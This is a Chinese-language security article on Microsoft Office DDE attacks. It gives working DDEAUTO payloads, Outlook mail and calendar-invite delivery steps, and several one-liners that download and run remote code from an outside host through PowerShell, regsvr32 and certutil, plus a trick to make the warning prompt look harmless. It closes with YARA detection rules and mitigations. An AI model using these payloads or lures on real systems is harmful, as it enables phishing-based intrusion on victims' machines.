微軟office DDE攻擊與防禦
前段時間來自Sensepost的Etienne Stalmans和Saif El-Sherei發表了一篇博客文章,介紹微軟 office在不需要宏情況下,使用DDE進行攻擊,由於宏攻擊已使用多年,並很多防護設備可檢測, DDE攻擊文章一發出來,受到很多人的關注,國內外的安全研究人員都在討論各種姿勢的利用。
什麼是DDE
動態數據交換(DDE),它是在Microsoft Windows操作係統中實現的客戶端/服務器通信方法,自1987年早期的Windows 2.0基於Windows Messaging,並使用其功能來啟動雙方之間的連接,服務器偵聽某些主題和消息,對其進行響應到客戶端並終止連接。
它被用於向諸如辦公產品和瀏覽器的應用程序發送參數,發送命令到shell -explorer-來創建開始菜單組和鏈接,並在不同的應用程序和服務之間進行集成。
Microsoft將DDE定義為允許應用程序共享數據的一組消息和準則。Microsoft文檔說明,應用程序可以使用DDE協議進行一次數據傳輸,以便應用程序在新數據可用時將更新發送給彼此。
DDE攻擊
MS word
新建一個Word文檔,通過Ctrl+F9添加一個域,輸入POC:
{ DDEAUTO c:\\windows\\system32\\cmd.exe "/k notepad.exe" }
{ DDE c:\\windows\\system32\\cmd.exe "/k notepad.exe" }
根據Word中的安全設置,每當在Word文檔中執行DDE命令時,將顯示兩個警告
點擊播放
GIF/1160K
Outlook
由於Outlook使用Word作為其本機解析器,可以使用Microsoft Outlook RTF格式(RTF)格式化的電子郵件和日曆邀請在Microsoft Outlook中運行動態數據交換(DDE)攻擊。
(一)RTF
2.打開outlook,新建郵件,找到切換格式選項,選擇RTF後,在正文中插入一張圖片(在outlook 2013 2016需插入圖片),將WORD中的Payload粘貼在郵件正文中,當你複製Payload時,會彈出窗口,選擇"N"後,發送郵件。
3.當目標接收到,進行回複時,DDE攻擊代碼會執行。
約會邀請
經測試同版本相互發送發約會邀請,可以觸發payload,但outlook 2010給2013發,無法觸發payload。
2.打開outlook,約會邀請,將WORD中的Payload粘貼在約會邀請正文中,當你複製Payload到正文時,會彈出窗口,選擇"N"後,發送約會邀請。
3.每當用戶打開日曆查看自己的行程安排時,就會觸發Payload的執行:
Payload
CACTUSTORCH_DDEAUTO工具是xillwillx開發的DDE Payload生成腳本,以自動創建.vbs / .hta / .js有效載荷以在Microsoft Office文檔中使用
DDEAUTO c:\\Windows\\System32\\cmd.exe "/k powershell.exe -w hidden -nop -ep bypass Start-BitsTransfer -Source "https://willgenovese.com/hax/index.js"; -Destination "index.js" & start c:\\Windows\\System32\\cmd.exe /c cscript.exe index.js"
DDEAUTO c:\\windows\\system32\\cmd.exe "/k regsvr32 /s /n /u /i:https://willgenovese.com/hax/calc.sct scrobj.dll "
DDEAUTO c:\\windows\\system32\\cmd.exe "/k certutil -urlcache -split -f https://willgenovese.com/hax/test.exe && test.exe"
DDEAUTO c:\\Windows\\System32\\cmd.exe "/k powershell.exe -NoP -sta -NonI -W Hidden $e=(New-Object System.Net.WebClient).DownloadString( https://willgenovese.com/hax/evil.ps1 );powershell -e $e "
窗口迷惑
在使用DDE攻擊時,會彈出窗口,需要用戶點擊。
從目前研究的結果來看,是無法取消彈出窗口的,但可以修改彈出的內容,看起來不是那麼可疑。
DDEAUTO c:\\windows\\system32\\cmd.exe "/k calc.exe # " "sanr aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
DDE攻擊防護與檢測
檢測DDE
Yara規則
Nviso提供了如下的YARA規則來幫助我們檢測DDE
// YARA rules Office DDE
// NVISO 2017/10/10 - 2017/10/12
// https://sensepost.com/blog/2017/macro-less-code-exec-in-msword/
rule Office_DDEAUTO_field {
strings:
$a = /.+?b[Dd][Dd][Ee][Aa][Uu][Tt][Oo]b.+?/
condition:
$a
}
rule Office_DDE_field {
strings:
$a = /.+?b[Dd][Dd][Ee]b.+?/
condition:
$a
}
rule Office_OLE_DDEAUTO {
strings:
$a = /x13s*DDEAUTOb[^x14]+/ nocase
condition:
uint32be(0) == 0xD0CF11E0 and $a
}
rule Office_OLE_DDE {
strings:
$a = /x13s*DDEb[^x14]+/ nocase
condition:
uint32be(0) == 0xD0CF11E0 and $a
Win日誌檢測
在Windows事件查看器中的“應用程序和服務日誌”文件夾中的Microsoft Office警報項中,有一、個事件300.消息體包含文本“是否啟動應用程序 c:\windows\system32\cmd.exe?"
防禦DDE
由於微軟的回應是:這是一種專門設計的功能,他們不會對這項功能進行所謂的“漏洞修複”,那我們需要使用如下辦法來緩解攻擊
2.禁用Word中的“更新自動鏈接打開”選項。
3.0patch團隊出了dde的補丁,非微軟官方
https://0patch.blogspot.be/2017/10/0patching-office-dde-ddeauto.html
最後更新:2017-10-27 18:48:36
上一篇:
微軟買斷未來15年GE風力電廠能源:供應數據中心
下一篇:
微軟全球執行副總裁沈向洋:在人工智能最好的時代,尋求可能性比超前顧慮更關鍵
獲取insider preview版本出錯 錯誤代碼:0x800bfa07
hhukapi.dll,程序丟失怎麼辦
原來的【文本和其他項目大小調整的高級選項】界麵咋沒了?
無法獲取Insider Preview 內部版本 錯誤代碼 0x800bfa07
Windows 10,Windows Defender\Scans文件夾占用空間過大
windows10 *64 16215更新時下載過程中失敗,代碼 0x80240034
安裝16226.1000更新時出現一些問題,但我們稍後會重試。
注冊表值hklm\software\3fd8f8eac是什麼
defender服務無法自動啟動
Microsoft AntimalwareMicrosoft 反惡意軟件 試圖更新簽名時遇到錯誤。
熱門內容
Android Studio 3.0發布,支持 Kotlin;微軟開源深度學習庫MMLSpark;敏捷開發?真的假的?
微軟Surface Note概念手機,三星Note 8的殺手?
微軟2018財年Q1財報:遊戲業務收入僅增長1%
微軟高管解讀財報:雲計算業務發展良好 為客戶創造巨大價值
聚焦場所體驗與本土文化表達,微軟Microsoft馬其頓辦公設計
微軟也來搞折疊屏手機,有望明年推出,打開秒變平板電腦!
微軟槍車球中“車”的代表,《極限競速7》視頻評測
微軟的Kinect停產了,但它為今天的VR/AR做了很多貢獻
微軟一季度財報:遊戲業務盈利增長顯著
微軟買斷未來15年GE風力電廠能源:供應數據中心